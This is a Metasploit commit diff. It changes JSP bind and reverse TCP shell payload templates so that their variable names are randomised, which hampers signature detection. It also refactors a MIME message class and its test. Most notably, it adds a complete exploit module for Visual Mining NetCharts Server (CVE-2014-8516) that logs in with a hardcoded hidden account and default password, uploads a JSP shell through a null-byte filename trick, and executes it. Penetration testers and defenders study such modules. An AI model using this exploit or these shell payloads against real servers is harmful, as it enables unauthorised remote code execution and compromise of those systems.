commit
7b25e3be75
|
@ -22,6 +22,12 @@ module Msf::Payload::JSP
|
|||
# @return [String] jsp code that executes bind TCP payload
|
||||
def jsp_bind_tcp
|
||||
# Modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
|
||||
var_is = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_os = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_in = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_out = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
|
@ -31,37 +37,37 @@ module Msf::Payload::JSP
|
|||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
InputStream #{var_is};
|
||||
OutputStream #{var_os};
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
this.#{var_is} = #{var_is};
|
||||
this.#{var_os} = #{var_os};
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
BufferedReader #{var_in} = null;
|
||||
BufferedWriter #{var_out} = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
|
||||
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
#{var_out}.write( buffer, 0, length );
|
||||
#{var_out}.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
if( #{var_in} != null )
|
||||
#{var_in}.close();
|
||||
if( #{var_out} != null )
|
||||
#{var_out}.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
@ -87,6 +93,12 @@ module Msf::Payload::JSP
|
|||
# @return [String] jsp code that executes reverse TCP payload
|
||||
def jsp_reverse_tcp
|
||||
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
|
||||
var_is = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_os = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_in = Rex::Text.rand_text_alpha_lower(2)
|
||||
var_out = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
|
@ -96,37 +108,37 @@ module Msf::Payload::JSP
|
|||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
InputStream #{var_is};
|
||||
OutputStream #{var_os};
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
this.#{var_is} = #{var_is};
|
||||
this.#{var_os} = #{var_os};
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
BufferedReader #{var_in} = null;
|
||||
BufferedWriter #{var_out} = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
|
||||
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
#{var_out}.write( buffer, 0, length );
|
||||
#{var_out}.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
if( #{var_in} != null )
|
||||
#{var_in}.close();
|
||||
if( #{var_out} != null )
|
||||
#{var_out}.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -24,11 +24,11 @@ class Message
|
|||
self.header.parse(head)
|
||||
ctype = self.header.find('Content-Type')
|
||||
|
||||
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
|
||||
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
|
||||
self.bound = $1
|
||||
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
|
||||
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
|
||||
self.content << "\r\n" if not self.content.empty?
|
||||
self.content << "\r\n" unless self.content.empty?
|
||||
|
||||
chunks.each do |chunk|
|
||||
break if chunk == "--"
|
||||
|
@ -88,15 +88,13 @@ class Message
|
|||
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
|
||||
part = Rex::MIME::Part.new
|
||||
|
||||
if (content_disposition)
|
||||
if content_disposition
|
||||
part.header.set("Content-Disposition", content_disposition)
|
||||
end
|
||||
|
||||
if (content_type)
|
||||
part.header.set("Content-Type", content_type)
|
||||
end
|
||||
part.header.set("Content-Type", content_type) if content_type
|
||||
|
||||
if (transfer_encoding)
|
||||
if transfer_encoding
|
||||
part.header.set("Content-Transfer-Encoding", transfer_encoding)
|
||||
end
|
||||
|
||||
|
@ -125,20 +123,17 @@ class Message
|
|||
end
|
||||
|
||||
def to_s
|
||||
msg = force_crlf(self.header.to_s + "\r\n")
|
||||
header_string = self.header.to_s
|
||||
|
||||
unless self.content.blank?
|
||||
msg << force_crlf(self.content + "\r\n")
|
||||
end
|
||||
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
|
||||
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
|
||||
|
||||
self.parts.each do |part|
|
||||
msg << force_crlf("--" + self.bound + "\r\n")
|
||||
msg << part.to_s
|
||||
end
|
||||
|
||||
if self.parts.length > 0
|
||||
msg << force_crlf("--" + self.bound + "--\r\n")
|
||||
end
|
||||
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
|
||||
|
||||
msg
|
||||
end
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
DEFAULT_USERNAME = 'Scheduler'
|
||||
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
|
||||
SIGNATURE = 'was uploaded successfully and is now ready for installation'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
|
||||
First, a lack of input validation in the administration console permits
|
||||
arbitrary jsp code upload to locations accessible later through the web
|
||||
service. Authentication is typically required, however a 'hidden' user is
|
||||
available by default (and non editable). This user, named 'Scheduler',
|
||||
can only login to the console after any modification in the user
|
||||
database (a user is added, admin password is changed etc). If the
|
||||
'Scheduler' user isn't available valid credentials must be supplied. The
|
||||
default Admin password is Admin.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'sghctoma', # Vulnerability Discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-8516'],
|
||||
['ZDI', '14-372']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
['Visual Mining NetCharts Server 7.0', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 03 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8001),
|
||||
OptString.new('USERNAME', [false, "The username to authenticate with"]),
|
||||
OptString.new('PASSWORD', [false, "The password to authenticate with"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
|
||||
'vars_get' => { 'mode' => 'getZip' },
|
||||
'authorization' => basic_auth(username, password)
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
|
||||
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
|
||||
if upload(jsp_payload, payload.encoded)
|
||||
print_good("#{peer} - JSP payload uploaded successfully")
|
||||
register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute(jsp_payload, 1)
|
||||
end
|
||||
|
||||
def execute(jsp_name, time_out = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(username, password)
|
||||
}, time_out)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def upload(file_name, contents)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(
|
||||
contents,
|
||||
'application/octet-stream',
|
||||
nil,
|
||||
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
|
||||
)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
|
||||
'method' => 'GET',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s,
|
||||
'vars_get' => { 'mode' => 'getZip' },
|
||||
'authorization' => basic_auth(username, password)
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
|
||||
end
|
||||
end
|
|
@ -369,8 +369,7 @@ describe Rex::MIME::Message do
|
|||
end
|
||||
|
||||
let(:regexp_web) do
|
||||
regex = "\r\n"
|
||||
regex << "--_Part_.*\r\n"
|
||||
regex = "--_Part_.*\r\n"
|
||||
regex << "Content-Disposition: form-data; name=\"action\"\r\n"
|
||||
regex << "\r\n"
|
||||
regex << "save\r\n"
|
||||
|
@ -388,8 +387,8 @@ describe Rex::MIME::Message do
|
|||
Regexp.new(regex)
|
||||
end
|
||||
|
||||
it "returns \\r\\n if Rex::MIME::Message is empty" do
|
||||
expect(subject.to_s).to eq("\r\n")
|
||||
it "returns empty string if Rex::MIME::Message is empty" do
|
||||
expect(subject.to_s).to be_empty
|
||||
end
|
||||
|
||||
it "generates valid MIME email messages" do
|
||||
|
|
Loading…
Reference in New Issue